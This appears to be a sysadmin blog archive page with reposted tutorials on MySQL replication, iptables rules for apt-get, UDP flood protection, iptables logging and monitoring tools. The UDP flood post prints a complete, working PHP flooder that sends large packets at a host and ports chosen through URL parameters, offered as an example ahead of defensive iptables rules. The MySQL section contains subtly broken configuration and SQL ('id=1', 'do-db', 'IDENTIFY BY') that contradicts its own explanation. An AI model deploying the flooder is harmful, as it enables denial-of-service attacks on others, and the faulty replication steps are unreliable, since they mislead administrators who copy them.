Archive

Archives pour 10/2021

MySQL database replication with Linux

22/10/2021 Aucun commentaire

MySQL database replication with Linux

Database replication is a technique where a given database is copied to one or more locations, so that the reliability, fault-tolerance or accessibility of the database can be improved. Replication can be snapshot-based (where entire data is simply copied over to another location), merge-based (where two or more databases are merged into one), or transaction-based (where data updates are periodically applied from master to slaves).

MySQL replication is considered as transactional replication. To implement MySQL replication, the master keeps a log of all database updates that have been performed. The slave(s) then connect to the master, read individual log entries, and perform recorded updates. Besides maintaining a transaction log, the master performs various housekeeping tasks, such as log rotation and access control. When new transactions occur and get logged on the master server, the slaves commit the same transactions on their copy of the master database, and update their position in the master server’s transaction log. This master-to-slave replication process is done asynchronously, which means that the master server doesn’t have to wait for the slaves to catch up. If the slaves are unable to connect to the master for a period of time, they will download and execute all pending transactions when connectivity is re-established.

Database replication allows one to have an exact copy of a live database of a master server at another remote server (slave server) without taking the master server offline. In case the master server is down or having any trouble, one can temporarily point database clients or DNS resolver to the slave server’s IP address, achieving transparent failover. It is must be noted that MySQL replication is not a backup solution. For example, if an unintended DELETE command gets executed in the master server by accident, the same transaction will mess up all slave servers.

In this article, we will demonstrate master-slave based MySQL replication on two Linux computers. Let’s assume that the IP addresses of master/slave servers are 192.168.2.1 and 192.168.2.2, respectively.

Setting up a Master MySQL Server

This part will explain the steps needed on the master server.

First, log in to MySQL, and create test_repl database.

$ mysql -u root -p
mysql> CREATE DATABASE test_repl;

Next, create a table inside test_repl database, and insert three sample records.

mysql> USE test_repl;
mysql> CREATE TABLE employee (EmployeeID int, LastName varchar(255), FirstName varchar(255), Address varchar(255), City varchar(255));
mysql> INSERT INTO employee VALUES(1,"LastName1","FirstName1","Address1","City1"),(2,"Lastname2","FirstName2","Address2","City2"),(3,"LastName3","FirstName3","Address3","City4");

After exiting the MySQL server, edit my.cnf file using your favorite text editor. my.cnf is found under /etc, or /etc/mysql directory.

# nano /etc/my.cnf

Add the following lines under [mysqld] section.

[mysqld]
id=1
log-bin=master-bin.log
do-db=test_repl
innodb_flush_log_at_trx_commit=1
sync_binlog=1

The server-id option assigns an integer ID (ranging from 1 to 2^23) to the master server. For simplicity, ID 1 and 2 are assigned to the master server and the slave server, respectively. The master server must enable binary logging (with log-bin option), which will activate the replication. Set the binlog-do-db option to the name of a database which will be replicated to the slave server. The innodb_flush_log_at_trx_commit=1 and sync_binlog=1options must be enabled for the best possible durability and consistency in replication.

After saving the changes in my.cnf, restart mysqld daemon.

# systemctl restart mysqld

or:

# /etc/init.d/mysql restart

Log in to the master MySQL server, and create a new user for a slave server. Then grant replication privileges to the new user.

mysql> CREATE USER repl_user@192.168.2.2;
mysql> GRANT REPLICATION SLAVE ON *.* TO repl_user@192.168.2.2 IDENTIFY BY 'repl_user_password';
mysql> FLUSH PRIVILEGES;

A new user for the slave server is repl_user, and its password is repl_user_password. Note that the master MySQL server must not bind to the loopback interface since a remote slave server needs to log in to the master server as repl_user. Check this tutorial to change MySQL server’s binding interface.

Finally, check the master server status by executing the following command on the server.

mysql> SHOW MASTER STATUS;

18157192466_b3cc2d5ced_o

Please note that the first and second columns (e.g., master-bin.000002 and 107) will be used by the slave server to perform master-to-slave replication.

Lire la suite…

How to configure iptables to use apt-get in a server

22/10/2021 9 commentaires

Source: serverfault.com

I’m starting using iptables (newbie) to protect a linux server (specifically Debian 5.0). Before I configure the iptables settings, I can use apt-get without a problem. But after I configure the iptables, the apt-get stop working. For example I use this script in iptables:

#!/bin/sh
IPT=/sbin/iptables

## FLUSH
$IPT -F
$IPT -X
$IPT -t nat -F
$IPT -t nat -X
$IPT -t mangle -F
$IPT -t mangle -X

$IPT -P INPUT DROP
$IPT -P OUTPUT DROP
$IPT -P FORWARD DROP

$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT

$IPT -A INPUT -p tcp --dport 22 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 22 -j ACCEPT

$IPT -A INPUT -p tcp --dport 80 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 80 -j ACCEPT
$IPT -A INPUT -p tcp --dport 443 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 443 -j ACCEPT

# Allow FTP connections @ port 21
$IPT -A INPUT  -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT

# Allow Active FTP Connections
$IPT -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT 

# Allow Passive FTP Connections
$IPT -A INPUT -p tcp --sport 1024: --dport 1024:  -m state --state ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 1024: --dport 1024:  -m state --state ESTABLISHED,RELATED -j ACCEPT 

#DNS
$IPT -A OUTPUT -p udp --dport 53 --sport 1024:65535 -j ACCEPT

$IPT -A INPUT -p tcp --dport 1:1024
$IPT -A INPUT -p udp --dport 1:1024

$IPT -A INPUT -p tcp --dport 3306 -j DROP
$IPT -A INPUT -p tcp --dport 10000 -j DROP
$IPT -A INPUT -p udp --dport 10000 -j DROP

then when I run apt-get I obtain:

core:~# apt-get update
0% [Connecting to ftp.us.debian.org] [Connecting to security.debian.org] [Conne

and it stalls. What rules I need to configure to make it works.

Thanks

Addendum:

After some attempts, I find that the problem is in the INPUT policy, and not in the OUTPUT one, if a modify the $IPT -P OUTPUT to $IPT -P OUTPUT ACCEPT the problem remains. But if I change the $IPT -P INPUT to $IPT -P INPUT ACCEPT then it start to work.

Code Snippet: iptables settings to prevent UDP abuse (flood protection)

21/10/2021 Comments off

Prevent UDP flood

Some basic iptables settings can prevent UDP flood from happening.

The Attacker

Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
        $dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
  if($_GET['type'] == 'tcp')
 { 
    $posttype = 'tcp://';
 }
 else
 {
    $posttype = 'udp://';
 }
}
else
{
  $posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
    if(isset($_GET['p']))
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
        if($sock){
                ++$p;
                $fwriteFile = fwrite($sock, $out);
                fclose($sock);
        }
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there’s no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
# block all other udp
 iptables -A OUTPUT -p udp -j DROP
 ip6tables -A OUTPUT -p udp -j DROP

Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b

Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
 iptables -N udp-flood
 iptables -A OUTPUT -p udp -j udp-flood
 iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
 iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
 iptables -A udp-flood -j DROP

Gist: https://gist.github.com/thoward/6180165

Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Source: Troy Howard

Force iptables to log messages to a different log file

21/10/2021 Comments off

Source: nixCraft

According to man page:
Iptables is used to set up, maintain, and inspect the tables of IP packet filter rules in the Linux kernel. Several different tables may be defined. Each table contains a number of built-in chains and may also contain user defined chains.

By default, Iptables log message to a /var/log/messages file. However you can change this location. I will show you how to create a new logfile called /var/log/iptables.log. Changing or using a new file allows you to create better statistics and/or allows you to analyze the attacks.

Iptables default log file

For example, if you type the following command, it will display current iptables log from /var/log/messages file:

# tail -f /var/log/messages

Output:

Oct  4 00:44:28 debian gconfd (vivek-4435): Resolved address "xml:readonly:/etc/gconf/gconf.xml.defaults" to a read-only configuration source at position 2
Oct  4 01:14:19 debian kernel: IN=ra0 OUT= MAC=00:17:9a:0a:f6:44:00:08:5c:00:00:01:08:00 SRC=200.142.84.36 DST=192.168.1.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=18374 DF PROTO=TCP SPT=46040 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0
Oct  4 00:13:55 debian kernel: IN=ra0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:18:de:55:0a:56:08:00 SRC=192.168.1.30 DST=192.168.1.255LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=13461 PROTO=UDP SPT=137 DPT=137 LEN=58

Procedure to log the iptables messages to a different log file

Open your /etc/syslog.conf file:

# vi /etc/syslog.conf

Append following line

kern.warning /var/log/iptables.log

Save and close the file.

Restart the syslogd (Debian / Ubuntu Linux):

# /etc/init.d/sysklogd restart

On the other hand, use following command to restart syslogd under Red Hat/Cent OS/Fedora Core Linux:

# /etc/init.d/syslog restart

Now make sure you pass the log-level 4 option with log-prefix to iptables. For example:

# DROP everything and Log it
iptables -A INPUT -j LOG --log-level 4
iptables -A INPUT -j DROP

For example, drop and log all connections from IP address 64.55.11.2 to your /var/log/iptables.log file:

iptables -A INPUT -s 64.55.11.2 -m limit --limit 5/m --limit-burst 7 -j LOG --log-prefix '** HACKERS **'--log-level 4
iptables -A INPUT -s 64.55.11.2 -j DROP

Where,

  • –log-level 4: Level of logging. The level # 4 is for warning.
  • –log-prefix ‘*** TEXT ***’: Prefix log messages with the specified prefix (TEXT); up to 29 letters long, and useful for distinguishing messages in the logs.

You can now see all iptables message logged to /var/log/iptables.log file:

# tail -f /var/log/iptables.log

80 Linux Monitoring Tools for SysAdmins

20/10/2021 Comments off

Source: ServerDensity

The industry is hotting up at the moment, and there are more tools than you can shake a stick at. Here lies the most comprehensive list on the Internet (of monitoring tools). Featuring over 80 ways to monitor your machines. Within this article we outline:

  • Command line tools
  • Network related
  • System related monitoring
  • Log monitoring tools
  • Infrastructure monitoring tools

It’s hard work monitoring and debugging performance problems, but it’s easier with the right tools at the right time. But how much of your valuable time do you think it would take you to investigate all of these tools and find out which one is best for you?

Why not check out Server Density first, it has a beautiful UI, an api that’s easy to use and alerts that will keep downtime to a minimum.

Top 10  System Monitoring Tools

1. Top

top
This is a small tool which is pre-installed in many unix systems. When you want an overview of all the processes or threads running in the system: top is a good tool. You can order these processes on different criteria and the default criteria is CPU.

2. htop

htop
Htop is essentially an enhanced version of top. It’s easier to sort by processes. It’s visually easier to understand and has built in commands for common things you would like to do. Plus it’s fully interactive.

3. atop

Atop monitors all processes much like top and htop, unlike top and htop however it has daily logging of the processes for long-term analysis. It also shows resource consumption by all processes. It will also highlight resources that have reached a critical load.

4. apachetop

Apachetop monitors the overall performance of your apache webserver. It’s largely based on mytop. It displays current number of reads, writes and the overall number of requests processed.

5. ftptop

ftptop gives you basic information of all the current ftp connections to your server such as the total amount of sessions, how many are uploading and downloading and who the client is.

Lire la suite…

Categories: Système Tags: ,